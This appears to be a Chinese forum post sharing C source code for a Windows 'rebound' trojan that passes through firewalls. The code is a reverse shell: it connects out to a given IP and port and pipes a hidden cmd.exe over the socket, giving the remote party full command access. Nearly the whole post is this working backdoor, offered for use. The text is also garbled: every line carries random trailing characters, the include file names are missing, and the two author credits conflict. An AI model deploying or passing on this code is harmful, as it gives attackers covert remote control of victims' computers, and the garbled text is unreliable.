这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >J^7}J
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/* ============================== 3@PUg(M
Rebound port in Windows NT +p9LE4g7Q
By wind,2006/7 yD3bl%uZ
===============================*/ ,30FGz^i
#include #.E\,N'
#include Uh3wj|0
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#pragma comment(lib,"wsock32.lib") vs\'1^*D
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void OutputShell(); _[}G(<
SOCKET sClient; %w'/n>]j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xta}4:d-Y
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void main(int argc,char **argv) a1
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{ 'A@qg^e:`
WSADATA stWsaData; 3}>:
int nRet; L _vblUDq
SOCKADDR_IN stSaiClient,stSaiServer; 'DCKD4@C/
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if(argc != 3) c!\.[2n
{ jw/'*e
printf("Useage:\n\rRebound DestIP DestPort\n"); qs6Nb'JvQR
return; 935-{h@k
} U8-Q'1IT&
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WSAStartup(MAKEWORD(2,2),&stWsaData); C6K|:IK{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z>cIiprX
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stSaiClient.sin_family = AF_INET; K-2.E
stSaiClient.sin_port = htons(0); BW'L.*2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wXr>p)mP
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]$m#1Kj
{ "
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printf("Bind Socket Failed!\n"); Y3vX)D}
return; rQ`\JE&`
} DNm(:%)0
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stSaiServer.sin_family = AF_INET; e1^fUOS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E:08%4O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ad"'O]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X}zX`]:I'
{ ~hS3*\^~M
printf("Connect Error!"); ;Ay>+M2O
return; :d;[DYFLxb
} 69t7=r
OutputShell(); !OPSS P]-
} ,9=gVW{
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void OutputShell() 8K|J:[7
{ M:R8<.{
char szBuff[1024]; P7's8KOoS
SECURITY_ATTRIBUTES stSecurityAttributes; _^_5K(Uq
OSVERSIONINFO stOsversionInfo; <e;jWK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dv"as4~%
STARTUPINFO stStartupInfo; yOX&cZ[
char *szShell; %9t{Z1$
PROCESS_INFORMATION stProcessInformation; nAIH`L"X
unsigned long lBytesRead; 5JS ZLC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9.xvV|Sp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <KKDu$W|T
stSecurityAttributes.lpSecurityDescriptor = 0; MQwIPjk8
stSecurityAttributes.bInheritHandle = TRUE; vTpStoUM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d2RnQA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SXQ@;=]xV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r)gCTV(kb
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hdo&\Q2D8
stStartupInfo.wShowWindow = SW_HIDE; ^`tk/#h\9F
stStartupInfo.hStdInput = hReadPipe; >eQbipn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z<a$q3!#
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GetVersionEx(&stOsversionInfo); T36x=LX
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switch(stOsversionInfo.dwPlatformId) ITVQLQ
{ }x]&L/
case 1: T_eJ}(p
szShell = "command.com"; VLiIO"u;
break; zm3-C%:Bw
default: /$;,F't#2M
szShell = "cmd.exe"; #S%4?
break; &B}Lo
} >L^xlm%7o
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q7|:^#{av
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send(sClient,szMsg,77,0); xZX`%f-
while(1) s8^~NX(xdy
{ 88
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (/&;jV2DD[
if(lBytesRead) Nu@5 kwH
{ qB:AkMd&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tmp6hB
send(sClient,szBuff,lBytesRead,0); bMsECA&
} a.?v*U@z@#
else ~F;CE"3A
{ $`pd|K`
lBytesRead=recv(sClient,szBuff,1024,0); =ai2z2z
if(lBytesRead<=0) break; N&"QKd l
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W@^J6sH
} O16r!6=-n
} >:2}V]/;
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return; P'sfi>A
}